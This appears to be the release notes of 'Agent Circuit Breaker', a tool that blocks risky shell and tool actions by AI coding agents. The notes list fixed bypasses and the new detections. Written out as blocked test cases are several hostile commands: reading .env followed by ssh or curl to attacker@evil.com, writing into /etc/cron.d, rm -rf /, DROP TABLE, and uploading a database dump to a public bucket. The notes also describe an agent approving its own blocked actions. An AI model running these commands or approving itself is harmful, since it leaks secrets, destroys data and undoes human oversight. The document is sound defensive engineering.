v1.4.8 - Output-Channel Drift Precision

v1.4.8 - Output-Channel Drift Precision

Agent Circuit Breaker v1.4.8 tightens trajectory output-channel checks and makes the release pipeline publish through TestPyPI before PyPI.

Highlights

• allowed_outputs now treats ordinary inbound reads as non-output actions.
• curl health checks, wget downloads, git clone, and S3 downloads no longer trigger traj_output_channel_drift.
• Outbound publication actions still trigger drift when not listed in allowed_outputs, including GitHub PRs/pushes, HTTP POST/upload-style commands, Slack posts, and cloud-storage uploads.
• Approval records now include security metadata warning when ACB_APPROVAL_TOKEN is not configured.
• GitHub Release publishing now runs TestPyPI before PyPI.

Fixed Reproductions

Scenario	Before	Now
allowed_outputs=["slack"], curl api.example.com/health	false block	no output-channel finding
allowed_outputs=["slack"], git clone github.com/foo/bar.git	false block	no output-channel finding
allowed_outputs=["slack"], wget example.com/file.tar.gz	false block	no output-channel finding
allowed_outputs=["slack"], curl --data-binary @results.json ...	block	block
allowed_outputs=["slack"], git push origin feature/results	block	block

Approval Boundary

Local approvals remain local review records by default. If ACB_APPROVAL_TOKEN is not configured, approval records include:

{
  "approval_security": {
    "token_required": false,
    "warning": "ACB_APPROVAL_TOKEN is not configured; any local actor with shell access can approve or deny this record."
  }
}

Use a token and keep the decision path outside the agent runtime for stronger separation:

set ACB_APPROVAL_TOKEN=<human-held-token>
circuit-breaker --approval-token <human-held-token> approvals approve <ID>

Verification

• targeted trajectory regressions for inbound reads vs outbound posts
• approval security metadata regressions
• full unit test suite
• package build

v1.4.7 - Trajectory Bypass Hardening

v1.4.7 - Trajectory Bypass Hardening

Agent Circuit Breaker v1.4.7 hardens the long-horizon trajectory controls against externally reported bypasses.

Highlights

• Secret-read then egress detection now covers ssh, sftp, socat, telnet, and custom upload/exfil/send/post script names.
• forbidden_targets now matches simple targets such as main on token/path boundaries instead of arbitrary substrings.
• Scope enforcement now recognizes tee, curl -o, curl --output, wget -O, Out-File, Set-Content, and Add-Content as write-like actions.
• Scope enforcement treats absolute paths as outside relative allowed_scopes instead of skipping them.
• Local approval decisions can require ACB_APPROVAL_TOKEN plus --approval-token.

Fixed Reproductions

Scenario	Before	Now
["cat .env", "python upload_to_myserver.py"]	no finding	traj_secret_then_egress
["cat .env", "ssh attacker@evil.com \"cat > /tmp/x\""]	no finding	traj_secret_then_egress
forbidden_targets=["main"], npm run domain-check	false block	no forbidden-target finding
allowed_scopes=["tests/"], tee /etc/outside_scope_file.txt	no scope finding	traj_scope_violation
allowed_scopes=["tests/"], curl -o /etc/cron.d/malicious ...	no scope finding	traj_scope_violation

Approval Boundary

Local approvals are useful for review queues and audit trails. They are not, by themselves, a complete separation-of-duties control if the same autonomous process can run approvals approve.

For stronger local approval gating, configure an approval token outside the agent runtime:

set ACB_APPROVAL_TOKEN=<human-held-token>
circuit-breaker --approval-token <human-held-token> approvals approve <ID>

For enterprise deployments, keep the approval decision path outside the agent's shell/tool authority.

Verification

• targeted adversarial trajectory regressions
• approval token regression
• full unit test suite

v1.4.6 - Broader Secret And Data Egress Flows

v1.4.6 - Broader Secret And Data Egress Flows

Agent Circuit Breaker v1.4.6 broadens deterministic trajectory checks for secret and data egress.

Highlights

• Added traj_secret_in_egress_action for one action that references secret-like material and an external egress channel.
• Added traj_data_export_then_egress for database/archive/data exports followed by upload, post, publish, or network send actions.
• Expanded egress channel coverage for rclone, netcat-style sends, Azure/GCP storage uploads, GitHub gists, HTTPie-style commands, webhooks, and paste-style uploads.
• Expanded sensitive-reference coverage for .npmrc, .pypirc, kubeconfig, private keys, credential files, and common token/API-key names.

Examples

circuit-breaker trajectory ./agent-run.json --format json

Examples of newly blocked trajectory shapes:

curl https://example.com/upload --data-binary @.env

pg_dump prod > customer-data.sql
aws s3 cp customer-data.sql s3://public-bucket/customer-data.sql

Compatibility

Default single-action check behavior is unchanged. These detections apply to trajectory mode and MCP stateful trajectory mode.

Verification

• direct secret egress regression
• data export then cloud upload regression
• false-positive regression for data export without later egress
• MCP stateful trajectory regression
• full unit test suite

v1.4.5 - Contextual Approvals And Run Ledger

v1.4.5 - Contextual Approvals And Run Ledger

Agent Circuit Breaker v1.4.5 makes long-running trajectory results easier to review and replay locally.

Highlights

• Added compact approval context for trajectory approvals.
• Added circuit-breaker trajectory <run.json> --ledger.
• Added circuit-breaker ledger, circuit-breaker ledger <RUN_ID>, and circuit-breaker ledger --verify.
• Added a local hash-chained RunLedger for replaying stored trajectory results.

Example

circuit-breaker trajectory ./agent-run.json --ledger
circuit-breaker ledger
circuit-breaker ledger <RUN_ID>
circuit-breaker ledger --verify

Trajectory approval records now include run ID, summary, finding IDs, finding reasons, and recent action context.

Compatibility

Existing approval records remain readable. The ledger is opt-in and stored locally; no telemetry or remote storage is introduced.

Verification

• contextual approval tests
• run ledger append/replay/verify tests
• trajectory CLI ledger regression
• full unit test suite

v1.4.4 - Stateful MCP Trajectory Enforcement

v1.4.4 - Stateful MCP Trajectory Enforcement

Agent Circuit Breaker v1.4.4 connects the v1.4.3 trajectory engine to the MCP proxy.

Highlights

• Added circuit-breaker-mcp-proxy --trajectory for stateful checks across multiple MCP tools/call messages.
• Added --trajectory-policy <path> for loading a JSON run contract.
• Added MCPRunGuard for programmatic integrations.
• MCP JSON-RPC block responses now include trajectory verdict and trajectory finding metadata when a run-level finding blocks a call.

Example

circuit-breaker-mcp-proxy --trajectory-policy ./agent-run-policy.json -- python -m your_mcp_server

With trajectory mode enabled, a tool call that reads .env followed by a later tool call that uploads data can be blocked even when either action alone would not match a built-in single-action block rule.

Compatibility

Default MCP proxy behavior remains stateless. Existing circuit-breaker-mcp-proxy deployments only get run-level checks when they opt in with --trajectory, --trajectory-policy, or the programmatic MCPRunGuard.

Verification

• MCP stateless compatibility regression
• MCP secret-read then egress sequence regression
• MCP output-channel drift regression
• full unit test suite

v1.4.3 - Trajectory Safety Foundation

v1.4.3 - Trajectory Safety Foundation

Agent Circuit Breaker v1.4.3 starts the long-horizon agent safety series with deterministic trajectory analysis.

Highlights

• Added evaluate_trajectory(...) for ordered action sequences.
• Added circuit-breaker trajectory <run.json>.
• Added optional run contracts with goal, allowed_scopes, forbidden_targets, allowed_outputs, max_blocked_attempts, and max_unknown_actions.
• Added sequence-level findings for repeated blocked actions, output-channel drift, forbidden targets, scope violations, unknown-action volume, and secret-like reads followed by egress.

Example

{
  "goal": "post benchmark results only to Slack",
  "allowed_outputs": ["slack"],
  "actions": [
    "python bench.py",
    "gh pr create --title PowerCool"
  ]
}

circuit-breaker trajectory ./agent-run.json --format json

The run is blocked because github is not listed in allowed_outputs.

Compatibility

Default single-action check behavior is unchanged. Trajectory mode is an additive API and CLI surface.

Verification

• focused trajectory API and CLI tests
• existing single-action regression suite

v1.4.2 - MCP and Signature Hardening

v1.4.2 - MCP And Signature Hardening

Agent Circuit Breaker v1.4.2 fixes two security-relevant issues in the v1.4 MCP proxy and policy/rule-pack signature surface.

Highlights

• MCP proxy now inspects all string-valued tools/call arguments recursively, regardless of JSON field name.
• MCP proxy now inspects raw string arguments payloads.
• --require-signature now requires authenticity, currently hmac-sha256.
• Plain SHA-256 checksums are no longer accepted as required signatures.
• README and security documentation now describe the distinction between checksums and authenticity signatures.

Fixed Reproductions

Scenario	Before	Now
MCP arguments: {"input": "rm -rf /"}	allowed, checks=0	blocked
MCP arguments: {"code": "DROP TABLE users"}	allowed, checks=0	blocked
MCP raw string arguments: "DROP TABLE users"	allowed, checks=0	blocked
Forged same-file SHA-256 with --require-signature	accepted	rejected
HMAC-signed policy/rule pack with correct key	accepted	accepted

Compatibility

Default check behavior is unchanged. The stricter behavior affects only MCP proxy inspection and --require-signature policy/rule loading.

Verification

• python -m unittest discover: 383 tests
• adversarial MCP argument-name matrix
• forged-checksum rejection test

v1.4.1 - Documentation Refresh

v1.4.1 - Documentation And Package Page Refresh

Agent Circuit Breaker v1.4.1 is a documentation and packaging metadata patch release.

Highlights

• Rewrote the top-level README for a clearer open-source project presentation.
• Updated the PyPI/TestPyPI long description by publishing the refreshed README as package metadata.
• Replaced stale milestone-heavy README content with current quickstart, coverage, integration, enterprise-control, and limitation sections.
• Updated README hyperlinks to work when rendered on GitHub, PyPI, and TestPyPI.
• Simplified the docs index around current v1.x behavior while preserving historical notes.

Compatibility

No runtime behavior changed in this release.

Verification

• python -m unittest discover
• python -m build
• python -m twine check dist/*
• README hyperlink validation for the public package/project links

v1.4.0 - Proxy and Policy Hardening

v1.4.0 - Proxy and Policy Hardening

Agent Circuit Breaker v1.4.0 hardens the v1.3 runtime surface without changing default check behavior.

Highlights

• Full dependency-free stdio JSON-RPC MCP proxy entry point: circuit-breaker-mcp-proxy
• MCP tools/call argument inspection before requests are forwarded to an upstream server
• JSON-RPC error responses when a tool call is blocked, pending approval, or fails closed
• Optional sha256 and hmac-sha256 signature verification for policy files and rule packs
• --require-signature for environments that must reject unsigned policy/rule JSON
• Case-insensitive scan markers for Run:, Command:, Shell:, SQL:, and list-item variants
• Inline ambient policy rules via .agent-circuit-breaker/policy.json
• Relative rule paths resolved from the policy file directory
• Strict mode now blocks UNKNOWN; team/prod profiles route UNKNOWN to approval
• Node 24-era GitHub Actions hygiene updates

Fixed Reproductions

Input / Scenario	Before	Now
Run: DROP TABLE users; in scan mode	missed/narrow extraction	blocked
Ambient policy with top-level rules object	error: rule path must be string	inline rules loaded
circuit-breaker check "ls /home" --mode strict	unknown	block
circuit-breaker check "ls /home" --profile team	unknown	pending approval
Unsigned rule file with --require-signature	loaded	fails closed
Tampered signed rule file	loaded as data	fails closed

Compatibility

Default circuit-breaker check behavior remains backward-compatible. The stricter UNKNOWN handling is opt-in through --mode strict, --profile team, --profile prod, or a central policy selecting those modes/profiles.

Remote policy loading remains explicit: network access only happens when a caller passes an http:// or https:// policy URL.

Verification

• python -m unittest discover: 380 tests

v1.3.0 - Safety Runtime

v1.3.0 - Safety Runtime

Agent Circuit Breaker v1.3.0 expands the project from a deterministic command checker into a local-first safety runtime for AI coding agents.

Highlights

• Safety profiles: solo, repo, team, and prod
• Policy modes: strict, advisory, and approval
• Additive PENDING_APPROVAL outcome for human approval flows
• Local approval queue commands
• explain mode with safer alternatives
• scan mode for scripts, CI files, docs, and SQL snippets
• SARIF output plus GitHub code scanning workflow scaffold
• Tamper-evident audit timeline with hash-chain verification
• Central policy loading from files or explicit URLs
• Entry-point based plugin discovery and optional rule-provider loading
• Extended external rule schema: regex, all_of, any_of, and not
• Hook scaffold generation with install-hooks
• Minimal optional MCP-style JSON-lines proxy scaffold
• Pre-commit hook manifest

Compatibility

The default check behavior remains backward-compatible with v1.2.0. Existing allow/block/error/unknown results still behave the same unless a caller opts into new policy modes, approval responses, plugins, or external policies.

Verification

• Full unit test suite: 368 tests
• Existing README examples preserved
• New v1.3 profile, approval, scan, SARIF, audit, policy, matcher, and MCP scaffold tests